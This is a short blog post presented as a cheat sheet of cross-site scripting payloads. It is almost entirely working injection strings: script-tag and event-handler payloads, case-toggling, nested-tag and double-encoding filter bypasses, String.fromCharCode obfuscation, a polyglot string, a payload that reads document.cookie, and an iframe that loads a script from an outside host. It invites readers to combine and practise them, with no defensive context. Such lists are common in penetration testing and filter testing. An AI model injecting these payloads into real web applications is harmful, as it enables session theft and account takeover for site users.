Cross Site Scripting [ XSS ] Cheat Sheet
Hello, Today I am gonna share some Cross Site Scripts [ Cheat Sheets ] :-
Basic XSS codes:
———————————-
———————————-
<script>alert(“XSS”)</script>
<script>alert(“XSS”);</script>
<script>alert(‘XSS’)</script>
“><script>alert(“XSS”)</script>
<script>alert(/XSS”)</script>
<script>alert(/XSS/)</script>
When inside Script tag:
———————————
———————————
</script><script>alert(1)</script>
‘; alert(1);
‘)alert(1);//
Bypassing with toggle case:
————————————–
————————————–
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert(‘XSS’)>
XSS in Image and HTML tags:
———————————————
———————————————
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert(‘XSS’)>
<img src=xss onerror=alert(1)>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav	ascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=”javascript:alert(‘XSS’)”
<iframe src=http://ha.ckers.org/scriptlet.html <
Bypass the script tag filtering:
————————————————–
————————————————–
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
Using String.fromCharCode function:
—————————————————–
—————————————————–
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
‘;alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
You can combine the above mentioned codes and make your own cheat code
Soon, I am gonna share some advanced cheat sheets of Cross Site Scripts. Till then practice these scripts. Have a good day folks...
Cross Site Scripting [ XSS ] Cheat Sheet
![Cross Site Scripting [ XSS ] Cheat Sheet](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ftLygW8RdJrwRnYQrG6Kpko7X2y_Y2dXG2gldKkRed9edu68HAexvUofozTy2dFXKfE0tPNU51cVyugxoqwyNPO-vbFY-Qo43Dcpfrqu316vei45wpDVu3KdFCwDYNJiRn1yG4sOj_M/s72-c/xss+cheet+sheet+wide.png)
Reviewed by Unknown
on
06:37:00
Rating:
Reviewed by Unknown
on
06:37:00
Rating:
No comments